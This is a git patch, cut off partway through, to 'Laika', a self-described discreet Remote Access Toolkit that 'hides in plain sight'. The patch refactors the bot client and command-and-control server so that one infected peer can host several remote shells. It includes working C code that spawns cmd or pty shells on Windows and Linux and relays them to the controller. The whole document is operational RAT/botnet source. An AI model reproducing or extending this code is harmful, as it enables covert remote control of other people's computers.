From 7d96f3252c3bf3d25ea69484693cc17f3ff5e929 Mon Sep 17 00:00:00 2001 From: CPunch Date: Sat, 7 May 2022 20:09:42 -0500 Subject: [PATCH] Major shell packet refactoring - can now open multiple shells per peer (change LAIKA_MAX_SHELLS) - more sanity checking for public keys (new peers with duplicate keys are killed - misc. refactoring, added cnc/cpeer.[ch] --- README.md | 2 +- bot/include/bot.h | 3 +- bot/include/shell.h | 9 ++- bot/lin/linshell.c | 28 +++---- bot/src/bot.c | 19 +++-- bot/src/shell.c | 79 +++++++++++++++---- bot/win/winshell.c | 178 +++++++++++++++++++++--------------------- cnc/include/cnc.h | 19 ----- cnc/include/cpanel.h | 3 +- cnc/include/cpeer.h | 45 +++++++++++ cnc/src/cnc.c | 102 ++++++------------------ cnc/src/cpanel.c | 85 +++++++++++--------- cnc/src/cpeer.c | 138 ++++++++++++++++++++++++++++++++ lib/include/lpacket.h | 5 +- shell/src/sclient.c | 4 +- 15 files changed, 455 insertions(+), 264 deletions(-) create mode 100644 cnc/include/cpeer.h create mode 100644 cnc/src/cpeer.c diff --git a/README.md b/README.md index 392bebc..99a5749 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ License

-[![asciicast](https://asciinema.org/a/487686.svg)](https://asciinema.org/a/487686) +[![asciicast](https://asciinema.org/a/492854.svg)](https://asciinema.org/a/492854) Laika is a simple cross-platform Remote Access Toolkit stack for educational purposes. It allows encrypted communication across a custom binary protocol. The bot client supports both Windows & Linux environments, while the shell & CNC server specifically target Linux environments. Laika is meant to be small and discreet, Laika believes in hiding in plain sight. diff --git a/bot/include/bot.h b/bot/include/bot.h index 08a2bc1..dd38922 100644 --- a/bot/include/bot.h +++ b/bot/include/bot.h @@ -12,11 +12,12 @@ struct sLaika_shell; struct sLaika_bot { uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; + struct sLaika_shell *shells[LAIKA_MAX_SHELLS]; struct sLaika_pollList pList; struct sLaika_taskService tService; struct sLaika_peer *peer; - struct sLaika_shell *shell; struct sLaika_task *shellTask; + int activeShells; }; struct sLaika_bot *laikaB_newBot(void); diff --git a/bot/include/shell.h b/bot/include/shell.h index 28bb46c..f250941 100644 --- a/bot/include/shell.h +++ b/bot/include/shell.h @@ -8,9 +8,16 @@ struct sLaika_bot; struct sLaika_shell; -struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows); +struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id); void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell); +/* raw platform-dependent shell allocation */ +struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id); +void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell); + +/* has to be a function since the struct is different depending on the platform */ +uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell); + /* handles reading & writing to shell pipes */ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell); bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length); diff --git a/bot/lin/linshell.c b/bot/lin/linshell.c index 051cdae..6a6595b 100644 --- a/bot/lin/linshell.c +++ b/bot/lin/linshell.c @@ -16,15 +16,17 @@ struct sLaika_shell { int pid; int fd; + uint32_t id; }; -struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) { +struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) { struct winsize ws; struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); ws.ws_col = cols; ws.ws_row = rows; shell->pid = forkpty(&shell->fd, NULL, NULL, &ws); + shell->id = id; if (shell->pid == 0) { /* child process, clone & run shell */ @@ -38,38 +40,34 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) LAIKA_ERROR("Failed to set shell fd O_NONBLOCK"); } - /* start shell task */ - bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot); - return shell; } -void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { +void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { /* kill the shell */ kill(shell->pid, SIGTERM); close(shell->fd); - /* tell cnc shell is closed */ - laikaS_emptyOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE); - - bot->shell = NULL; laikaM_free(shell); - - /* stop shell task */ - laikaT_delTask(&bot->tService, bot->shellTask); - bot->shellTask = NULL; } +uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell) { + return shell->id; +} + +/* ============================================[[ Shell Handlers ]]============================================= */ + bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { - char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH]; + char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)]; struct sLaika_peer *peer = bot->peer; struct sLaika_socket *sock = &peer->sock; - int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH); + int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)); if (rd > 0) { /* we read some input! send to cnc */ laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); + laikaS_writeInt(sock, &shell->id, sizeof(uint32_t)); laikaS_write(sock, readBuf, rd); laikaS_endVarPacket(peer); } else if (rd == -1) { diff --git a/bot/src/bot.c b/bot/src/bot.c index e6854cc..26cd069 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -30,11 +30,11 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = { false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN, laikaB_handleShellOpen, - sizeof(uint16_t) + sizeof(uint16_t), + sizeof(uint32_t) + sizeof(uint16_t) + sizeof(uint16_t), false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, laikaB_handleShellClose, - 0, + sizeof(uint32_t), false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, laikaB_handleShellData, @@ -57,6 +57,7 @@ struct sLaika_bot *laikaB_newBot(void) { struct hostent *host; char *tempINBuf; size_t _unused; + int i; laikaP_initPList(&bot->pList); bot->peer = laikaS_newPeer( @@ -70,8 +71,12 @@ struct sLaika_bot *laikaB_newBot(void) { laikaT_initTaskService(&bot->tService); laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot); - bot->shell = NULL; + /* init shells */ + for (i = 0; i < LAIKA_MAX_SHELLS; i++) { + bot->shells[i] = NULL; + } bot->shellTask = NULL; + bot->activeShells = 0; /* generate keypair */ if (sodium_init() < 0) { @@ -114,9 +119,11 @@ struct sLaika_bot *laikaB_newBot(void) { void laikaB_freeBot(struct sLaika_bot *bot) { int i; - /* clear shell */ - if (bot->shell) - laikaB_freeShell(bot, bot->shell); + /* clear shells */ + for (i = 0; i < LAIKA_MAX_SHELLS; i++) { + if (bot->shells[i]) + laikaB_freeShell(bot, bot->shells[i]); + } laikaP_cleanPList(&bot->pList); laikaS_freePeer(bot->peer); diff --git a/bot/src/shell.c b/bot/src/shell.c index e8abd93..db89034 100644 --- a/bot/src/shell.c +++ b/bot/src/shell.c @@ -7,53 +7,100 @@ #include "bot.h" #include "shell.h" +struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) { + if (bot->activeShells++ > LAIKA_MAX_SHELLS) + LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n"); + + /* start shell task */ + if (!bot->shellTask) + bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot); + + return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id); +} + +void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { + uint32_t id = laikaB_getShellID(bot, shell); + + /* tell cnc shell is closed */ + laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE); + laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t)); + laikaS_endOutPacket(bot->peer); + + laikaB_freeRAWShell(bot, shell); + + bot->shells[id] = NULL; + + if (--bot->activeShells == 0) { + /* stop shell task */ + laikaT_delTask(&bot->tService, bot->shellTask); + bot->shellTask = NULL; + } +} + /* ============================================[[ Packet Handlers ]]============================================= */ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { struct sLaika_bot *bot = (struct sLaika_bot*)uData; + struct sLaika_shell *shell; + uint32_t id; uint16_t cols, rows; - /* check if shell is already open */ - if (bot->shell) - LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested on already open shell!\n"); - + laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t)); laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t)); + /* check if shell is already open */ + if (id > LAIKA_MAX_SHELLS || (shell = bot->shells[id])) + LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested on already open shell!\n"); + /* open shell & if we failed, tell cnc */ - if ((bot->shell = laikaB_newShell(bot, cols, rows)) == NULL) - laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); + if ((shell = laikaB_newShell(bot, cols, rows, id)) == NULL) { + laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE); + laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t)); + laikaS_endOutPacket(bot->peer); + } } void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { struct sLaika_bot *bot = (struct sLaika_bot*)uData; + struct sLaika_shell *shell; + uint32_t id; + + laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* check if shell is not running */ - if (bot->shell == NULL) + if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id])) LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested on unopened shell!\n"); /* close shell */ - laikaB_freeShell(bot, bot->shell); + laikaB_freeShell(bot, shell); } void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; struct sLaika_bot *bot = (struct sLaika_bot*)uData; - struct sLaika_shell *shell = bot->shell; - - /* sanity check shell */ - if (bot->shell == NULL) - LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n"); + struct sLaika_shell *shell; + uint32_t id; /* read data buf */ - laikaS_read(&peer->sock, buf, sz); + laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); + laikaS_read(&peer->sock, buf, sz-sizeof(uint32_t)); + + /* sanity check shell */ + if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id])) + LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n"); /* write to shell */ - laikaB_writeShell(bot, shell, buf, sz); + laikaB_writeShell(bot, shell, buf, sz-sizeof(uint32_t)); } void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { struct sLaika_bot *bot = (struct sLaika_bot*)uData; + struct sLaika_shell *shell; + int i; - laikaB_readShell(bot, bot->shell); + for (i = 0; i < LAIKA_MAX_SHELLS; i++) { + if ((shell = bot->shells[i])) + laikaB_readShell(bot, shell); + } } \ No newline at end of file diff --git a/bot/win/winshell.c b/bot/win/winshell.c index af541cb..c930dcd 100644 --- a/bot/win/winshell.c +++ b/bot/win/winshell.c @@ -13,8 +13,94 @@ struct sLaika_shell { PROCESS_INFORMATION procInfo; STARTUPINFOEX startupInfo; HPCON pseudoCon; + uint32_t id; }; +HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows); +HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC); + +struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {; + TCHAR szComspec[MAX_PATH]; + struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); + HRESULT hr; + + ZeroMemory(shell, sizeof(struct sLaika_shell)); + shell->id = id; + + /* create pty */ + hr = CreatePseudoConsoleAndPipes(&shell->pseudoCon, &shell->in, &shell->out, cols, rows); + if (hr != S_OK) { + laikaM_free(shell); + return NULL; + } + + /* get user's shell path */ + if (GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) == 0) { + laikaM_free(shell); + return NULL; + } + + /* create process */ + hr = InitializeStartupInfoAttachedToPseudoConsole(&shell->startupInfo, shell->pseudoCon); + if (hr != S_OK) { + ClosePseudoConsole(shell->pseudoCon); + + laikaM_free(shell); + return NULL; + } + + /* launch cmd shell */ + hr = CreateProcess( + NULL, /* No module name - use Command Line */ + szComspec, /* Command Line */ + NULL, /* Process handle not inheritable */ + NULL, /* Thread handle not inheritable */ + FALSE, /* Inherit handles */ + EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */ + NULL, /* Use parent's environment block */ + NULL, /* Use parent's starting directory */ + &shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */ + &shell->procInfo) /* Pointer to PROCESS_INFORMATION */ + ? S_OK : HRESULT_FROM_WIN32(GetLastError()); + + if (hr != S_OK) { + DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList); + laikaM_free(shell->startupInfo.lpAttributeList); + + ClosePseudoConsole(shell->pseudoCon); + + laikaM_free(shell); + return NULL; + } + + return shell; +} + +void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { + /* kill process (it's ok if it fails) */ + TerminateProcess(shell->procInfo.hProcess, 0); + + /* cleanup process - info & thread */ + CloseHandle(shell->procInfo.hThread); + CloseHandle(shell->procInfo.hProcess); + + /* Cleanup attribute list */ + DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList); + laikaM_free(shell->startupInfo.lpAttributeList); + + /* close pseudo console */ + ClosePseudoConsole(shell->pseudoCon); + + /* free shell struct */ + laikaM_free(shell); +} + +uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell) { + return shell->id; +} + +/* ============================================[[ Shell Handlers ]]============================================= */ + /* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) { COORD consoleSize = (COORD){.X = cols, .Y = rows}; @@ -77,103 +163,17 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo return hr; } - -struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {; - TCHAR szComspec[MAX_PATH]; - struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); - HRESULT hr; - - ZeroMemory(shell, sizeof(struct sLaika_shell)); - - /* create pty */ - hr = CreatePseudoConsoleAndPipes(&shell->pseudoCon, &shell->in, &shell->out, cols, rows); - if (hr != S_OK) { - laikaM_free(shell); - return NULL; - } - - /* get user's shell path */ - if (GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) == 0) { - laikaM_free(shell); - return NULL; - } - - /* create process */ - hr = InitializeStartupInfoAttachedToPseudoConsole(&shell->startupInfo, shell->pseudoCon); - if (hr != S_OK) { - ClosePseudoConsole(shell->pseudoCon); - - laikaM_free(shell); - return NULL; - } - - /* launch cmd shell */ - hr = CreateProcess( - NULL, /* No module name - use Command Line */ - szComspec, /* Command Line */ - NULL, /* Process handle not inheritable */ - NULL, /* Thread handle not inheritable */ - FALSE, /* Inherit handles */ - EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */ - NULL, /* Use parent's environment block */ - NULL, /* Use parent's starting directory */ - &shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */ - &shell->procInfo) /* Pointer to PROCESS_INFORMATION */ - ? S_OK : HRESULT_FROM_WIN32(GetLastError()); - - if (hr != S_OK) { - DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList); - laikaM_free(shell->startupInfo.lpAttributeList); - - ClosePseudoConsole(shell->pseudoCon); - - laikaM_free(shell); - return NULL; - } - - /* start shell task */ - bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot); - - return shell; -} - -void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { - /* kill process (it's ok if it fails) */ - TerminateProcess(shell->procInfo.hProcess, 0); - - /* cleanup process - info & thread */ - CloseHandle(shell->procInfo.hThread); - CloseHandle(shell->procInfo.hProcess); - - /* Cleanup attribute list */ - DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList); - laikaM_free(shell->startupInfo.lpAttributeList); - - /* close pseudo console */ - ClosePseudoConsole(shell->pseudoCon); - - /* tell cnc shell is closed */ - laikaS_emptyOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE); - - /* free shell struct */ - laikaM_free(shell); - bot->shell = NULL; - - /* stop shell task */ - laikaT_delTask(&bot->tService, bot->shellTask); - bot->shellTask = NULL; -} - bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { - char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH]; + char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)]; struct sLaika_peer* peer = bot->peer; struct sLaika_socket* sock = &peer->sock; DWORD rd; - bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH, &rd, NULL); + bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL); if (readSucc) { /* we read some input! send to cnc */ laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); + laikaS_writeInt(sock, &shell->id, sizeof(uint32_t)); laikaS_write(sock, readBuf, rd); laikaS_endVarPacket(peer); } else { diff --git a/cnc/include/cnc.h b/cnc/include/cnc.h index 208b7de..7b9afa9 100644 --- a/cnc/include/cnc.h +++ b/cnc/include/cnc.h @@ -14,25 +14,6 @@ typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData); -struct sLaika_peerInfo { - struct sLaika_cnc *cnc; - long lastPing; -}; - -#define BASE_PEERINFO struct sLaika_peerInfo info; - -struct sLaika_botInfo { - BASE_PEERINFO - struct sLaika_peer *shellAuth; /* currently connected shell */ -}; - -struct sLaika_authInfo { - BASE_PEERINFO - struct sLaika_peer *shellBot; /* currently connected shell */ -}; - -#undef BASE_PEERINFO - struct sLaika_cnc { uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; struct sLaika_socket sock; diff --git a/cnc/include/cpanel.h b/cnc/include/cpanel.h index 68c165d..3ccc21c 100644 --- a/cnc/include/cpanel.h +++ b/cnc/include/cpanel.h @@ -7,8 +7,7 @@ void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); -void laikaC_closeAuthShell(struct sLaika_authInfo *aInfo); -void laikaC_closeBotShell(struct sLaika_botInfo *bInfo); +void laikaC_closeAuthShell(struct sLaika_peer *auth); void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); diff --git a/cnc/include/cpeer.h b/cnc/include/cpeer.h new file mode 100644 index 0000000..7c6a295 --- /dev/null +++ b/cnc/include/cpeer.h @@ -0,0 +1,45 @@ +#ifndef LAIKA_CNC_PEER_H +#define LAIKA_CNC_PEER_H + +#include "laika.h" +#include "lpacket.h" +#include "lsocket.h" +#include "lpolllist.h" +#include "lpeer.h" + +struct sLaika_peerInfo { + struct sLaika_cnc *cnc; + long lastPing; + bool completeHandshake; +}; + +#define BASE_PEERINFO struct sLaika_peerInfo info; + +struct sLaika_botInfo { + BASE_PEERINFO + struct sLaika_peer *shellAuths[LAIKA_MAX_SHELLS]; /* currently connected shells */ +}; + +struct sLaika_authInfo { + BASE_PEERINFO + struct sLaika_peer *shellBot; /* currently connected shell */ + uint32_t shellID; +}; + +#undef BASE_PEERINFO + +struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc); +struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc); +void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo); + +int laikaC_addShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth); +void laikaC_rmvShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth); + +void laikaC_closeBotShells(struct sLaika_peer *bot); + +void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); +void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); +void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); +void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); + +#endif \ No newline at end of file diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 8fb0934..49796ea 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -5,37 +5,9 @@ #include "ltask.h" #include "cpanel.h" +#include "cpeer.h" #include "cnc.h" -/* ===============================================[[ Peer Info ]]================================================ */ - -struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) { - struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz); - - pInfo->cnc = cnc; - pInfo->lastPing = laikaT_getTime(); - return pInfo; -} - -struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) { - struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo)); - - bInfo->shellAuth = NULL; - return bInfo; -} - -struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) { - struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo)); - - aInfo->shellBot = NULL; - return aInfo; -} - -void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo) { - peer->uData = NULL; - laikaM_free(pInfo); -} - /* ==============================================[[ PeerHashMap ]]=============================================== */ typedef struct sCNC_PeerHashElem { @@ -57,6 +29,13 @@ uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) { /* ============================================[[ Packet Handlers ]]============================================= */ +bool checkPeerKey(struct sLaika_peer *peer, void *uData) { + if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0) + LAIKA_ERROR("public key is already in use!\n"); + + return true; +} + void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { char magicBuf[LAIKA_MAGICLEN]; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; @@ -82,6 +61,9 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN); laikaS_read(&peer->sock, peer->inet, LAIKA_INET_LEN); + /* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR, which will kill the peer) */ + laikaC_iterPeers(cnc, checkPeerKey, (void*)peer->peerPub); + /* restore null-terminator */ peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0'; peer->inet[LAIKA_INET_LEN-1] = '\0'; @@ -111,40 +93,6 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */ } -void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData; - struct sLaika_cnc *cnc = bInfo->info.cnc; - uint8_t _res = laikaS_readByte(&peer->sock); - - /* ignore packet if shell isn't open */ - if (bInfo->shellAuth == NULL) - return; - - /* forward to SHELL_CLOSE to auth */ - laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_SHELL_CLOSE); - - /* close shell */ - ((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL; - bInfo->shellAuth = NULL; -} - -void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; - struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData; - uint8_t id; - - /* ignore packet if malformed */ - if (bInfo->shellAuth == NULL || sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH) - return; - - laikaS_read(&peer->sock, (void*)buf, sz); - - /* forward SHELL_DATA packet to auth */ - laikaS_startVarPacket(bInfo->shellAuth, LAIKAPKT_SHELL_DATA); - laikaS_write(&bInfo->shellAuth->sock, buf, sz); - laikaS_endVarPacket(bInfo->shellAuth); -} - /* =============================================[[ Packet Tables ]]============================================== */ #define DEFAULT_PKT_TBL \ @@ -165,7 +113,7 @@ struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = { DEFAULT_PKT_TBL, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, laikaC_handleShellClose, - 0, + sizeof(uint32_t), false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, laikaC_handleShellData, @@ -251,6 +199,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) { void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { int i; + ((struct sLaika_peerInfo*)peer->uData)->completeHandshake = true; /* add peer to panels list (if it's a panel) */ if (peer->type == PEER_AUTH) @@ -268,21 +217,18 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { int i; + /* ignore uninitalized peers */ + if (!((struct sLaika_peerInfo*)peer->uData)->completeHandshake) + return; + switch (peer->type) { case PEER_BOT: { - struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)peer->uData; - /* close any open shells */ - if (bInfo->shellAuth) - laikaC_closeBotShell(bInfo); + laikaC_closeBotShells(peer); break; } case PEER_AUTH: { - struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)peer->uData; - - /* close any open shells */ - if (aInfo->shellBot) - laikaC_closeAuthShell(aInfo); + laikaC_closeAuthShell(peer); /* remove peer from panels list */ laikaC_rmvAuth(cnc, peer); @@ -301,10 +247,14 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { } void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type) { + /* make sure to update connected peers */ + laikaC_onRmvPeer(cnc, peer); + /* free old peerInfo */ laikaC_freePeerInfo(peer, peer->uData); /* update accepted packets */ + peer->type = type; switch (type) { case PEER_AUTH: peer->packetTbl = laikaC_authPktTbl; @@ -319,10 +269,6 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY break; } - /* make sure to update connected peers */ - laikaC_onRmvPeer(cnc, peer); - peer->type = type; - /* a new (but not-so-new) peer has arrived */ laikaC_onAddPeer(cnc, peer); } @@ -446,6 +392,8 @@ bool sweepPeers(struct sLaika_peer *peer, void *uData) { LAIKA_DEBUG("timeout reached for %p! [%d]\n", peer, currTime - pInfo->lastPing); laikaC_killPeer(cnc, peer); } + + return true; } void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index baf0ad1..e6e58e0 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -1,6 +1,8 @@ #include "lerror.h" #include "lmem.h" + #include "cnc.h" +#include "cpeer.h" #include "cpanel.h" bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) { @@ -39,32 +41,32 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) laikaS_endOutPacket(authPeer); } -void laikaC_closeAuthShell(struct sLaika_authInfo *aInfo) { - /* forward to SHELL_CLOSE to auth */ - laikaS_emptyOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE); +void laikaC_closeAuthShell(struct sLaika_peer *auth) { + struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)auth->uData; - /* close shell */ - ((struct sLaika_botInfo*)(aInfo->shellBot->uData))->shellAuth = NULL; + if (!aInfo->shellBot) + return; + + /* forward SHELL_CLOSE to bot */ + laikaS_startOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE); + laikaS_writeInt(&aInfo->shellBot->sock, &aInfo->shellID, sizeof(uint32_t)); + laikaS_endOutPacket(aInfo->shellBot); + + /* rmv shell */ + laikaC_rmvShell((struct sLaika_botInfo*)aInfo->shellBot->uData, auth); aInfo->shellBot = NULL; } -void laikaC_closeBotShell(struct sLaika_botInfo *bInfo) { - /* forward to SHELL_CLOSE to auth */ - 